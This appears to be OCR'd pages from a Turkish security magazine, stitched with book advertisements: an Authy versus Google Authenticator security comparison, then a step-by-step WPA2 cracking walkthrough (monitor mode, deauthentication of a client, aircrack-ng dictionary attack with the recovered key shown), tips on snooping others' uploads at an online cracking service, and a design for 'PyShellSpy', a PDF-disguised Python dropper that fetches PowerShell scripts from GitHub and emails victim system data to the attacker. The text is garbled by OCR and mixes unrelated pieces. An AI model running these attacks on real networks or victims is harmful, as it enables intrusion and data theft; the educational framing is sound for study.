yapilmasi ve ayarlar kismindan 2FAnimn kaldirilmasi, sonra
Google Auth. uygulamasindan silinmesi gerekmektedir. Eger
ilk 6nce Google Auth. uygulamasindan silinme islemi gergek-
lestirilirse, servise giris yapilamayabilir ve sistem/servis yone-
ticisine bagvuru yapilmasi gerekmektedir.

Hesap tagimak igin ise paylasilan gizlilik verisinin yeni Goog-
le Auth. uygulamasina gecirilmesi gerekmektedir. Bu da eski
Google Auth. bulunan her hesap i¢in tekrardan giris yapilip,
ayarlardan degisim bolimiine gidilmesi ve ¢ikan QR kodu-
nun yeni Google Auth. hesabi ile taranmas1 ya da ¢ikan kodun
yeni hesaba el ile girilmesi demektir. Bu durum ise her hesab1
tekrardan ziyaret etmenin ve tagima igleminin el ile yapilmasi
gerekliliginin getirdigi zorluklar nedeniyle uzun siirmekte ve
zaman harcamaniza neden olmaktadir. Bunu 2013’te yasanan
glincelleme krizi ile birlestirince, uygulamanin kullanicilara
sundugu deneyim oldukga diigiik kalmaktadir. 2013 yilinda
yapilan bir Google Auth. giincellemesi sonucunda giincelle-
meyi yiikleyen biitiin kullanicilarin 2FA anahtarlar1 otomatik
olarak silinmistir bu da ¢ogu kullanicinin, yeniden kurulu-
mun ne kadar problem yaratabileceginin farkina varmasini
saglamis ve alternatif aramasina neden olmustur. 2013 krizini
takiben ¢ikan siirede, silinen uygulamanin anahtarlar: tama-
men yok etmedigi (https://github.com/google/google-authen-
ticator/issues/632) ortaya ¢ikmistir ve benzeri problemlerin
ortaya ¢itkmast sonucunda uygulamanin kullanimi gittikce
azalmustir.

Kirmizi kose, Authy

Evet, kullanicilarin eglestirme problemine karsi dogan ve bu
probleme daha kolay bir ¢6ziim sunan Authy uygulamasi, bir
cok biiyiik servis ile ortak ¢aligmakta ve ayni zamanda Google
Auth. anahtarlarini da desteklemektedir. Authy, eklenilen he-
saplarin bulut tizerinden biitiin cihazlar ile senkronize olmasi-
n1 saglamaktadir ve bu sayede hesaplarin aktarimi daha kolay
héle gelmektedir. Web sitesinde, Twitter mesajlar1 baz alinarak
belirtilen gegis siireci itibariyle Google Auth. ve Authy farklari
listelenmektedir. Bu liste, hatali bir makaleden alinma “Google
Auth. aym anda sadece bir cihazda kullamlabilmektedir, ikinci
bir cihaz kullanilmak istendiginde Google otomatik olarak ilk
cihazi silmektedir” bolimi ve ¢oklu parola desteginin acik-
lamak i¢in yonlendirdigi twillio destek linkinin artik var ol-
mamasi disinda Authy’nin avantajlarini ¢ok giizel bir bicimde
aktarmaktadir.
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Bu avantajlar ise Google Authenticatorin eksileri g6z 6niine
alindiginda belirgin olmaktadir:

o Google Authenticatiro uygulamasinin sadece mobil ci-
hazlarda bulunmasi ve bilgisayarlar ile tarayic1 eklentileri
olarak kullanilamamas:.

Hesap aktarimi yaparken sifreli yedekleme yapamamasi
ve bu nedenle aktarim siirecinin zorlugu.

o Parola korumasina sahip olmamasi ve sadece cihaz gii-
venligine giivenmesi,

o Uzun siiredir giincellenmemesi ve bilinen problemlerinin
olmasi,

Kullaniminin giin gectikce azalmasi nedeniyle destekle-
yen servislerin azalmasi

Yazimizi Authy uygulamasinin giivenliginin incelenmesi ile
bitirmek isteriz.

Ik nokta, Authy uygulamasinin getirdigi coklu parolalar.
Google Auth. uygulamasina giris esnasinda parola bulunma-
maktadir ve cihazin kilit ekranini gegebilen biitiin saldirganlar
Google Auth. uygulamasina erisebilmektedir. Cihaz kilit ekra-
ninin gegilebildigini gosteren zafiyetlerin giin gegtik¢e daha
fazla ortaya ¢ikmasi nedeniyle cihaza duyulan giiven kullani-
cilar tarafindan sorgulanmaktadir. Bunu, cihazi giinliik kulla-
niminda hizli kullanabilmek amaciyla daha kolay parolalar ile
koruyan kullanicilarin da izlemesi nedeniyle cihaz giivenligine
dayanan giivenlik ¢éziimleri sanilanin aksine gerektigi kadar
gtivenli olmamaktadir. Authy bu duruma 6zgii olarak uygula-
may1 ve hesaplari {i¢ adet parola ile koruma altina almistir. Bu
parolalardan ilki olan yedekleme (backup) parolasi bulut sis-
teminde kullanilan yedekleri korumaktadir. Bu sayede Authy
nin bulut sistemlerine kars: bir saldir1 ger¢eklesmis olsa dahi
saldirganlar sizin 2FA bilgilerinizi ele gegirememektedir.

Bir diger giivenlik 6nlemi ise PIN korumasidir. Bu 6nleme
parola demek hatalidir ama parola, PIN, sifre kavramlarinin
kargasasina bu yazida deginilmemektedir, sadece bu hatanin
bilinmesi yeterlidir. PIN korumasi uygulamaya giris esnasinda
kullanicidan talep edilen 4 haneli kod seklinde kullanilmakta-
dir ve uygulamaya yapilacak izinsiz girisleri engellemektedir.
Bu giivenlik 6nlemi cihazi ele ge¢irmis (ve cihazin yedegine
sahip) saldirganlar igin bir engel teskil etmemektedir. Son gii-
venlik 6nlemi olan Ana parola (Master Password) ise sadece
Authy’nin bilgisayar versiyonunda bulunmaktadir. Bu 6nlem
bilgisayarin kullanilmadig1 zaman uygulamanin parola ile ko-
runmasini saglar. Bu parola PIN korumasinin daha uzun ve
bilgisayar uygulamasi i¢in tasarlanmuig tiirtidiir diyebiliriz.

Authy’nin kullandig1 yedekleme parolasi i¢cin PBKDF2 fonksi-
yonunu kullanmaktadir. Bu fonksiyon sizin girdiginiz parolay1
giris olarak alip, daha uzun ve rassallig1 daha yiiksek bir ¢ikt1

tretmektedir. Bu sayede girilen diisiik glivenlikli parolalar bile
daha giivenli hale gelmektedir. Bunun yaninda Authy parola-
lar1 tuzlamakta (parolalara bir deger eklemekte) ve 1000 defa
ozet almaktadir (HASH). Bu degerin mobil cihazlarin islem
kapasitesinin artmasi ile dogru orantili olarak artacagini dile
getiren Authy, tuz (salt) degerinin giivenli ve rastgele bir veri-
den olustugunu soylemektedir. Sonrasinda biitiin 2FA anah-
tarlar1 PBKDF2 fonksiyonunun ¢iktisini kullanarak AES-256,
CBC modu ile sifrelenmektedir. Bu modda kullanilan IV ise
her hesaba gore degismektedir. Eger herhangi bir 2FA anah-
tart 128 bitten daha kii¢iik ise PKCS#5 ile doldurulmaktadir.
Bu islemlerin sonucunda sadece sifrelenmis sonuc, tuz ve IV
degeri sunucuya gonderilmektedir. Sifreleme ve sifre ¢ozii-
mii igin gereken anahtar sunucuda bulunmamaktadir ve bu
sayede sunucuda tutulan verinin giivenligi saglanmaktadir.
Burada arastirma yapmadan 6nce goze ilk ¢arpan ve problem
yaratabilecek noktalar ise PKCS#5 fonskiyonu ile tuz ve IV
tretimidir. PKCS#5 dendiginde aklimiza ilk gelen saldir1 olan
Padding Oracle ile hesap verilerinden tiretilen IV degerinin
glivenligi (bu islemleri yapan fonksiyonlar) zincirdeki en zayif
halkay1 olusturmaktadir. Tuz tiretiminin giivenligi ise payla-
silan link sayesinde giivenlik 6nlemlerinin alindigina dair bir
gliven sunmaktadir ama yine de zincirin en zayif ikinci halka-
sini tuz retimi olusturmaktadir.

Giiven problemi

Authy hem 2FA hizmeti saglamakta, hem de 2FA hizmeti sag-
layan diger uygulamalar1 giivenli bir bigimde desteklemekte-
dir. Evet, yanlis duymadiniz, kendi 2FA hizmetinin destegi gii-
venlik problemine sahiptir ama bu problem diger desteklenen
sistemlerde goriilmemektedir.

Nasil m1? Authy 2FA hizmeti kullanan sistemler size bir kod
veya QR kodu vermek yerine sizden telefon numaranizi iste-
mektedir. Bu numaray: hem tiye oldugunuz web servisi hem
de Authy bildigi icin ikisi otomatik olarak eslesmektedir. Bu
sekilde eslesen hesaplarin yarattig1 2FA kodlari ise RFC4226 /
Google Auth. 6 haneli kodlarina nazaran 7 haneli olarak iire-
tilmektedir. Authynin 7 haneli 2FA kodlar1 ise bulutta daha
once bahsedildigi gibi giivenli bir bicimde depolanmamakta-
dir. Bulut depolamas: sifreli olmak yerine Authy hesabiniza
baglanmaktadir. Bu da yeni bir cihaza Authy kurdugunuz ve
dogrulama yaptiginiz anda Authy ile eklenen biitiin anahtar-
lara sahipsiniz demektir. Yani hesabiniza erisen biitiin saldir-
ganlar bulutta yedeklemek i¢in kullandiginiz parolay: kullan-
madan, Authy 7 haneli 2FA kodlarinizi gérebilmekte ve bu
kodlar1 olusturmak i¢in kullanilan degerlere erisebilmektedir.
Authy’nin kendi 2FA hizmeti bulut parolalarini kullanma-
makta ve sadece uygulamanin/hesabin giivenligini temel al-
maktadir. Authy hesabin giivenligini nasil saglamaktadur, diye
soracak olursaniz cevabimiz; SMS. Evet yeni bir Authy uygu-




ARKA KAPI Ulas Firat Ozdemir — Google vs. Authy 2FA'da Givenlik Savaslarn

lamas1 kuruldugunda eski parolalarin aktarimi igin eski uygu- ~ Kaynaklar:

lamadan dogrulama ya da SMS dogrulamas: gerektirmekte-  https://authy.com/blog/authy-vs-google-authenticator/
dir. SMS dogrulamasi konusunda numara gizleme/degistirme
(spoofing) yapilarak farkli numaralardan dogrulama goénde-
rilebilecegini aklimizda bulundurarak bu yaklagimin, bulut
yedekleri konusunda daha problemli oldugunu soyleyebiliriz.

https://support.twilio.com/hc/en-us/articles/223134967-
Backups-password-Master-password-and-PIN-protection-
for-Authy

https://www.codeproject.com/Articles/704865/Salted-

Yani kisacas: Authy hesap aktarimi sonrasinda Google Auth. Password-Hashing-Doing-it-Right

anahtarmiz sifreli iken Authy 2FA ile olusturulmus anahtar-
lariniz sifresiz olmaktadir. Bu nedenle biiytik kripto para tar-
tisma siteleri Authy yerine tekrar Google Auth. uygulamasina
gecis yapmugtir. Size Onerimiz ise eger tasima konusunda bir
probleminiz yok ise Google Auth kullanmaniz, diger durum-
larda ise yine Google Auth kullanip, Google Auth anahtarinizi
Authy tizerinden bulut sifreleme ile saklamaniz (Authy uygu-
lamasini 2FA igin degil, 2FA anahtarinizin ¢ok cihazda deste-
gini saglamak i¢in kullanmaniz) olacaktir.

PYTHON DILiYLE GRNEK KODLAR VE ACIKLAMALARI abakis

UYGULAMALARLA

VERI BILIMI [t

-«

Veri Bilimi

Neril Bliliimi
Makine Ogrenmesi, Derin Ogrenme

Doc. Dr. Deniz KILINC - Nezahat BASEGMEZ

+Veri Bilimi Uygulamalarina Giris = Miisteri Hizmetleri
* Tavsiye Sistemleri *Saglik Hizmetleri
« insan Kaynaklari « Enerji Yonetimi

abakus
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farkli yontem bulunmaktadir. Bu yazida bunlardan . aircrack-ng

birisini adim adim iglemeye ¢alisacagim. Bahsi gecen
yontemlerden sadece, kaba kuvvet saldir1 yontemi ile parola
elde etme iglemi yapilacaktir.

Bir kablosuz agin parolasini elde etmek icin, bircok Yazilimsal Gereksinimler:

o aireplay-ng
o airodump-ng

Donanimsal Gereksinimler:
Kaba kuvvet yontemi ile bir kablosuz agin parolasini elde et-

mek istiyorsak bunun i¢in bazi gereksinimleri ilk olarak kars:- » Monitor mod ve injection desteldi bir ag kart

lamamiz lazim. Biz bu gereksinimleri yazilimsal ve donanim- « TPLINK TL-WN722N

sal olarak iki baslik altinda ele alacagiz. « Alfa Card
Gereksinimler karsilandiktan sonra asagidaki adimlari tek tek
uygulayarak bir kablosuz agin parola bilgisini elde etmeye ¢a-
lisacagiz.

1- ilk Hazirlik

[lk olarak kullanacagimiz ag adaptoriimiiziin sistemdeki varligini kontrol edelim. Bunun i¢in “iwconfig” komutunu kullanabi-

lirsiniz.

root@n:~/Desktop# iwconfig

etho no wireless extensions.

lo no wireless extensions.
wlan® IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated  Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

Ag adaptorimiizii sniffer olarak kullanmak i¢in monitér moduna almaliyiz. Bunun i¢in airmon-ng aracini kullanabilirsiniz.
Bu aracin giizel yany, sniffing esnasinda sorunla karsilagmayalim diye, problem olabilecek servisleri tespit edip kapatmasidir.
Bunun igin “airmon-ng check kill” komutunu kullanabilirsiniz. Boylece ag kartinin bagimliliklarini durduracaksiniz.

root@n:~/Desktop# airmon-ng check kill
Killing these processes:

PID Name
1259 wpa_supplicant
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Kullanacaginiz ag kartinin iliskilerini kestikten sonra, “airmon-ng start wlan0” komutu ile ag kartinizi dinleme moduna alabi-
lirsiniz. Dinleme moduna alindiginda, ag kartinin yeni adi wlanOmon olacaktur.

root@n: # airmon-ng start wlan@
PHY Interface Driver Chipset
phy@ wlan® rt181s7 Realtek Semiconductor Corp. RTL8187

(mac80211 monitor mode vif enabled for [phy®@]wlan® on [phy®]wlan®mon)
(mac80211 station mode vif disabled for [phy®]wlang@)

2- Hedefi Tespit Etmek
Hedefimizi belirlemek i¢in etrafta hangi erisim noktalariin var oldugunu 6grenmemiz gerekecektir. Bunun i¢in “airodump-
ng wlanOmon” komutunu kullanabiliriz.

CH 2 ][ Elapsed: 1 min ][ 2019-01-03 21:00

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:D3:C0:31:E7:C9 -23 167 9 6 5 180 WPA2 CCMP PSK ArkaKapi-Legendary-Besim
14:9D:89:7D:BE:18 -35 148 5 0 6 130 WPA2 CCMP PSK pitest
B8:BC:1B:8E:27:27 -60 55 0 © 1 130 WPA2 CCMP  PSK SUPERONLINE-WiFi 2401
BC:75:74:C4:87:87 -67 39 0 6 1 130 WPA2 CCMP  PSK SUPERONLINE-WiFi_ 1224
00:1C:7B:F7:A4:B5 -65 63 3 6 1 130 WPA2 CCMP  PSK NetMASTER Uydunet-C30F
50:67:F0:53:A9:90 -67 51 2 0 11 130 WPAZ CCMP  PSK ZyXEL18
C4:71:54:F2:87:AC -67 11 %] [°] 1 130 WPA2 CCMP  PSK azyedeinternetal
FC:4A:E9:43:E0:AB -71 11 %] 0 2 130 WPA2 CCMP  PSK NetMASTER Uydunet-EOA8
FC:4A:E9:60:C0:B7 -71 14 %] 0 1 130 WPAZ CCMP  PSK KAYALI
C4:71:54:06:6C:C0  -72 14 1 © 9 130 WPA2 CCMP  PSK TurkTelekom T6CCO
FC:4A:E9:1E:4D:7B -72 19 0] 0 1 130 WPA2 CCMP PSK HallacUsta
AO:E4:CB:B1:8B:53 -72 8 0] 0 8 130 WPA CCMP PSK sahiner
AC:9E:17:89:DB:04 -73 2 0] 0 6 65 WPA2 CCMP PSK ASUS
00:25:12:BD:D7:71 -71 10 0] 0 6 54 WPA2 TKIP PSK ZTEW300
FC:4A:E9:38:BA:7F -73 1 1 6 11 270 WPA2 CCMP  PSK NetMASTER Uydunet-BA7C
FC:4A:E9:81:CF:BA -71 4 0 0 6 130 WPA2 CCMP  PSK TURKSAT-KABLONET-CFB5-2.4G
72:D1:5E:07:6D:04 1 0] 0 e 1 -1 <length: 0>

BSSID STATION PWR  Rate Lost Frames Probe

(not associated)  2C:3A:EB8:3B:6F:DD -60 -1 0] 5 Beles-Internet

(not associated) (€2:17:2D:18:67:44 -60 -1 0 6

(not associated) BC:75:74:04:87:87 -62 0 -1 0 2

(not associated) 32:2C:59:BF:7B:B4 -62 0 -1 0 4

(not associated) 9A:B8:47:32:AA:D5 -62 0 -1 0 4

(not associated) 16:AF:EB:4A:25:C1 -63 0 -1 0 2

(not associated) B6:A4:5B:87:27:DF -70 0 -1 0 1

(not associated) E8:F2:E2:A1:B3:93 -73 e -1 0 3

(not associated) F6:9B:3B:97:0D:E4 -62 6 -1 0 2

(not associated) 96:FB:B7:4E:C5:AF -57 6 -1 0 2

(not associated)  76:87:1F:15:(8:53 -58 6 -1 0 5

(not associated) @2:BF:2C:F1:55:41 -60 6 -1 0 7

(not associated) 8E:64:F3:13:91:B3 -61 -1 [ 2

(not associated)  16:96:54:7D:0B:7F -67 -1 ] 1

(not associated)  7E:2B:77:DE:5C:96 -67 -1 0 6

(not associated) DA:Al:19:F4:67:B7 -70 -1 0 2

€0:D3:C0:31:E7:C9 0C:D2:92:3E:79:34 -26 0 -1 0 10 ArkaKapi-Legendary-Besim
14:9D:09:7D:BE:18 AC:BC:32:BC:C5:B1 -25 0 -24e 0 43

50:67:F0:53:A9:90 F8:1E:DF:E1:E8:95 -66 0-1 18 19 ZyXEL18

50:67:F0:53:A9:90 88:19:08:C1:DF:98 -72 le- 1 0 2

root@n: # airodump-ng wlanamon]]

Ciktimizin ilk kisminda, ¢evredeki erisim noktalariny; ikinci kisminda ise, kimler daha 6nce nerelere baglanmis ve su anda
nereye, kim bagli gibi bilgileri gérebilirsiniz.

Hedef erisim noktasini tespit ettikten sonra airodump-ng wlanOmon -bssid C0:D3:C0:31:E7:C9 —c 5 —-w WPAkir komutu ile hedef
erisim noktasina ait bilgi toplamaya ve sadece onu izlemeye basliyoruz. Bu agamada amacimiz, parola bilgisini elde etmek amact
ile kullanacagimiz 4 yollu el sikisma islemine ait bir paket yakalamak ve erisim noktasina bagl istemcileri goriintiilemektir.
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CH 5 ][ Elapsed: 7 mins ][ 2019-01-04 13:01

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

CO:D3:C0:31:E7:C9 -25 81 4188 2477 o] 5 180 WPAZ2 CCMP PSK ArkaKapl-Legendary-Besim
BSSID STATION PWR Rate Lost Frames Probe

CO:D3:CP:31:E7:C9 ©C:D2:92:3E:79:34 0] le- 1 0 2996

root@n:~/Desktop# airodump-ng --bssid C®:D3:CP:31:E7:C9 -c 5 --write WPAkir wlan®mon

o --bssid C0:D3:C0:31:E7:C9 : Inceledigimiz agin MAC adresini tanimlamak icin,
e -¢ 5: Yayin yaptig1 kanal numarasini tanimlamak igin,

o --write WPAKkir: Bulgular1 WPAKkir adinda dosyaya yazdirmak i¢in,

o wlanOmon: Kullandigimiz ag adaptoriimiiziin araytiz ad1.

Bahsi gegen paketi yakalamak i¢in 3 farkli yontem uygulanabilir.

o Birinin baglanmasini beklemek,
 Bagli olan birisini agdan diigiirmek ve tekrar baglanmasini saglamak ya da
o PMKID degerini yakalamak.

Ancak biz bu bahsi gecen 3 yontemden simdilik sadece 2. yontemi uygulayacagiz. (Bagli olan birisini agdan diisiirmek ve
tekrar baglanmasini saglamak)

3- Agdan Diisiirme (DeAuth)
Herhangi bir erisim noktasina bagli istemcileri, agdan dusiirebilmek i¢in, deauthentication paketlerini tekrarlayacagiz. Bu
islem iin aireplay-ng aracini kullanacagiz. Araci asagidaki parametreler ile ¢alistirabilirsiniz.

o “aireplay-ng —deauth 100 -a C0:D3:C0:31:E7:C9 -c¢ 0C:D2:92:3E:79:34 wlanOmon”
o --deauth 100 : Gondermek istedigimiz de-auth paket sayis
o -a C0:D3:C0:31:E7:C9: Hedef erisim noktasinin MAC adresi
o -c 0C:D2:92:3E:79:34: Hedef istemcinin MAC adresi

o wlanOmon: Monitdr modundaki adaptériin arayiiz adi

root@n:~/Desktop# aireplay-ng --deauth 100 -a C@:D3:C0:31:E7:C9 -c @C:D2:92:3E:79:34 wlan@mon
13:00:20 Waiting for beacon frame (BSSID: C0:D3:C0:31:E7:C9) on channel 5
13:00:21 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:21 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:22 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:23 Sending 64 directed DeAuth (code 7). STMAC: [BC:D2:92:3E:79:34]
13:00:23 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:24 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:25 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:25 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]

5|35 ACKs]
@74 ACKs]
0|71 ACKs]
062 ACKs]
@65 ACKs]
@61 ACKs]
@62 ACKs]
0]62 ACKs]

13:00:26 Sending 64 directed DeAuth (code 7). STMAC: [©C:D2:92:3E:79:34] 063 ACKs]
13:00:27 Sending 64 directed DeAuth (code 7). STMAC: [©C:D2:92:3E:79:34] 0|64 ACKs]
13:00:27 Sending 64 directed DeAuth (code 7). STMAC: [©C:D2:92:3E:79:34] 0|64 ACKs]

13:00:28 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]
13:00:28 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34]

©]63 ACKs]
©]63 ACKs]

e

13:00:29 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34] 064 ACKs]
13:00:30 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:79:34] 0|64 ACKs]
13:00:30 Sending 64 directed DeAuth (code 7). STMAC: [@C:D2:92:3E:"C:34] 810 ACKs]

root@n:~/Desktop# [

Gonderilen paket sayisini azaltabiliriz de artirabiliriz de, fakat say1 degerini belirleyen unsur; istemcinin A.P ile olan paket
aligverisinin yogunlugudur. Anlik giden gelen paket ¢ok ise, gonderdigimiz de-auth paket kabul gormeyebilir. Bu yiizden bu
islemi birkac defa gerceklestirebiliriz.

Bahsi gegen yontem ile istemci agdan diisiiriildiigiinde ve yeniden baglandiginda handshake degerini yakalamis olacagiz.
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4- Kaba Kuvvet Saldirisi Kirilabilirligini teyit etmek icin, sifremizi sézliige ekledik.
airodump-ng komutunu ¢alistirdigimiz dizinimizi inceledigi-

mizde “WPAkir” adinda bir gok dosya olugtugunu goriiyoruz, L crackstation.bct.gz
Bu dosyalari ayrica inceleyebilirsiniz. Bize simdilik lazim olan L turkish

“cap” uzantili dosyadur. L] turkish.gz

.4| Desktop ~ ‘ ‘ Q |

Gerekli sozliik temin edildikten sonra:

aircrack-ng WPAKir-01.cap -w “/root/Desktop/turkish”

komutu ile siireci baslatabilirsiniz. Filmlerdeki gibi olsun is-

turkish WPAkir-01.cap ] o T
terseniz, -0 parametresini de ekleyebilirsiniz.

root@n:-/Desktop# aircrack-ng WPAkir-@l.cap -w /root/Desktop/turkish
Opening WPAkir-0l.capse wait...
Read 6237 packets.

# BSSID ESSID Encryption

[ —
I
i

WPAKir-0l.csv WPAKir-01.kismet. WPAKir-01.kismet.

1 C@:D3:C@:31:E7:C9 ArkaKapl-Legendary-Besim WPA (@ handshake, with PMKID)
csv netxml

Choosing first network as target.

Opening WPAkir-0l.capse wait...
Read 6237 packets.

1 potential targets

WPAKir-01.log.csv
Aircrack-ng 1.5.2

e e . o1 [e0:00:00] 24/11385 keys tested (888.14 k/s)
Kaba kuvvet saldirisinda iki yontem tercih edilir.

Time left: 12 seconds 0.21%
o Sozluk vermek. KEY FOUND! [ azYeInternetAL ]
o Regex ile parola formati tanimlamak.

Master Key : FC 78 2F 5A SF 17 DF 2C 71 BC 3D 5E 05 El 4C 71

Ikinci yolun avantaji, eger parolanin kombinasyonlarini bili- FA 11 €179 2A BL 6118 DS A3 27 1D €3 DA 82 DO

L. T ient K : 00 00 00 GO 0O 00 0O 0O 00 GO GO0 00 00 0O 00 0O

yorsaniz, 9 karakter, sadece say1 ve harften olusuyor gibi, pa- T Y e 96 56 00 B0 00 68 05 60 0p 0 86 00 60 0O 08
. o e 1. o e . . 00 80 GO B0 OO OO0 0P OO OO BO GO 8O 0O OO0 OO 6O

rolanin kirilmasi kesin goziiyle bakilabilir. Devamu i¢in ihtiyag¢ 46 60 0O 6O 00 0 BA 0D GO B0 B0 HO 0B 0O BA 0O
duyacagll'lll tek sey birazcik zaman. EAPOL HMAC : 00 90 00 GO 00 00 0O 60 00 G0 8O 0@ 00 00 00 00

Fakat ¢ogu kez boyle bir senaryo ile kargilasmazsiniz. Bilme-
diginiz bir ortamda, bilmediginiz kisilerin kullandig1 bilinme- ~ WPAKkir-Ol.cap : airodump-ngden elde edilen .cap uzantili
yen bir ag. Bu yiizden sozlik saldirilart tercih edilir. insanlar, ~dosya

kolay olsun diye ¢ok basit parolalar tanimladiklarindan dolay:

-w /root/Desktop/turkish : sézIiigiin tam dosya yolu
sozliikler avantaj saglar.

Internette bulabileceginiz birgok sézliik var. En ¢ok bilineni
“rockyou”dur. Kalide, “/usr/share/wordlists/” altinda birgok
sozliik bulabilirsiniz. Biz, packetstormsecuritynin paylastig
Tiirkge sozliigii kullandik. Dillere 6zel sozlitk kullanmak avan-
tajlidir ama gordiigtimiiz tizere, sadece kelimelerden olusmak-
ta “turkish” adli sozliik.

packetstormsecurity.com/Crackers/wordlists/language/

turkish.gz
Posted Oct 21, 2003
Turkish word list. {25861 words) oL

tags | cracker
MDS5 | 491b774c128@8b1F7796e263c9Fcc811a Download | Favorite | Comments (0)
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SONUC

WPA?2 aglar1 giivenli olsa da kullanici veya donanim {iireticisi
tarafindan yapilan basit hatalar, aga sizilmasina imkan veriyor.

Arka Kapi takipgilerine 6zel bir bilgi daha paylasalim. Kendi
bilgisayarinizda kendi donaniminizin yettigi 6lctide bu saldi-
rilar1 yapabileceginiz gibi, cevrimici servisler de kullanabilir-
siniz. Bu servislerden bir tanesi de https://www.onlinehash-
crack.com adresidir. Burada bircok hizmet veriliyor, ancak
biz burada sadece kablosuz ag parolast kirma senaryolarina

degindik.

WIFI / WPA(2) PASSWORD RECOVER

Send us your WPA(2) dump.
If you have issues with upload contact us! Want to know what's next ?

I Upload your WPA(2) capture file:

Choose File | Nofile chosen

Accepts *.cap or “pcap or *peapng or *hccapx
Max size: 100 Mb

Process all ESSID(s)

Extract PMKID(s) if available

SUBMIT

© 00 Q0

Tespit ettigimiz kotii yani ise; kullanici giris araytizii olmadi-
&1 icin bagkalarinin gonderilerini gorebiliyorsunuz. Tek yap-
maniz gereken, bu servisi kullanan kisilerin e-posta bilgisini
bulmak. E-posta adresini https://www.onlinehashcrack.com/
dashboard boliimiinde girmek olacaktr.

MY DASHBOARD

I Enter your email to access to your list :

<&  Enter your email

Ekran goriintiisiinde fark edildigi tizere, herhangi bir captcha
korumasi da yok. Bu da elinizdeki bir mail listesini denemeni-
ze olanak tanimaktadir. Bu nedenle bu tarz servisleri kullan-
madan 6nce bir daha diisiiniin.

LINUX'CUNUN ALET GANTASI

LINUX'CUNUN ALET CANTASI

KOMUT SATIRI

Kemal DEMIREZ

= Bash ve Linux Komut Satiri * S5H Servisi

« Diizenli ifadeler = WGET ile Dosya indirme
IRegular Expressions) * Zamanlanmis Gérevier

= Sed ve Awk

=¥ ter

= Network Komutlan

= Dosya istemleri
= Disk Islemleri

LINUX
KOMUT SATIRI

www.ahakuskitap.com
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Bilgisayardaki Ajan

PyShellSpy

u ¢alisma mini bir ajan niteligi tasiyan bir programin neler yapabilecegine dair egitsel bir nitelik tasimaktadir. Giizel bir
cayin yaninda giizel bir atistirmalik fena gitmez diye disiinebilirsiniz. Hazirsak baslayalim. ..

“PyShellSpy” ismini verdigim; Python ile yazmis oldugum bu zararli yazilimin yaptiklarini adim adim siralamak gere-
kirse;
o PDF goriiniimlii bir dosya kurban tarafindan ¢alistiriliyor,
o Arka planda Github depoma attigim raw text durumundaki Powershell script’lerini indiriyor,
« Indirilen string’ler “test.ps1” olarak “C:\Windows\System32\Temp\test.ps1” yoluna kaydediliyor.
o Calistirilabilir hale doniistiiriilmiis olan “test.psl” isimli dosya calistiriliyor,

« Giincellenebilir (*) script’ler ile yazilmis bu script blogu istedigim bilgileri get_info.txt olarak “C:\Windows\System32\
Temp\get_info.txt’yoluna kayit ediyor.

o Kurbanin bilgisayar1 hakkinda bazi 6nemli bilgileri igeren bu dosya e-posta olarak saldirgana gonderiliyor.

Zararlinin bulagma ve ¢alisma sekli asagidaki gorselde ifade edilmigtir:

get_info.tt

malicious.pdf

i test.ps]

)

|
3

nail to attacker address

.
r ‘ N— =

attachment:"get_info.txt

(*) Gtincellenebilir diyorum. Ciinkii script’ler raw text olarak browserdan;
Github depomda tuttugum yerden indirildigi i¢in kurbandan 6grenmek
istedigim bagka bilgiler varsa zararli dosyay: yeniden kurbana ulastirmak
zorunda kalmiyorum. Bu depoyu giincellemem ve kullanicin daha 6nce
indirdigi zararliy1 galistirmasi yeterli oluyor.
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Buraya kadar anlatilmaya ¢aligilan biitiin bu olay1 yapacak olan ajan programa PyShellSpye deginecek olursak programin ¢alisg-

ma seklini ti¢ agamada gosterebiliriz:

o Powershell script’leri igeren herhangi bir formattaki dosyanin indirilmesi,

o Powershell script’in Pythonda ¢alistiriimasi,

o Bu ajan programin topladig: verilerin e-posta olarak saldirgana iletilmesi.

Script iceren dosyanin indirilmesi

Bunun i¢in Python'un zengin kiitiiphanelerinden biri olan <urllib>’i import ediyoruz.

Zararli script’leri igeren Github depoma bu dosyay1 olusturup atiyorum. Siz de bu dosyay1 kendinize ait bir depoda muhafaza

edebilirsiniz:

< c

@ hitps://raw.githubusercontent.com/F

Get-kWmiObject -Class win22 localTime
Get-Process
Get-WmiObject -Class win32_UserAccount

Get-WmiObject -Class Win32 NetworkAdspterConfiguration -Filter IPEnabled=%true -ComputerName

. | Format-Table -Property IPAddress

Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINEASOFTWARE\Microsoft\Windows\CurrentVersion

Get-Service

Yukarida 6rnek olarak verilen script PowerShell 3.0 versiyo-
nunda test edilmistir. Su an mevcut olan en son versiyonun Po-
werShell 6.0 oldugunu biliyoruz. Versiyona gore script’lerimizi
degistirmemiz gerekebildigini belirtmek isterim. PowerShell
script konusunda ise yardimcr bir kaynak olarak Microsoft'un
hazirladig1 rehberden faydalanabilirsiniz.!

Daha 6nce belirttigim gibi kullaniciya zararli dosyay: ulagtir-
dim ancak istedigim bazi bilgiler i¢in yazdigim scriptlerde bir
sey unuttum ya da degistirmek istedim. O zaman yukarida
gosterilen depomuzu giincellememiz yeterli.

Script’lerin neler yaptigini gérmekte fayda var. PowerShellde
bir konu hakkinda bilgi almak istiyorsak;

[ Get-Help <command_name>] ya da [ <command_name>
2]

Get-Service -7
yada
Get-Help Get-Service

dememiz yeterli olacaktir.

1 https://docs.microsoft.com/en-us/powershell/#pivot=main&panel=getstarted

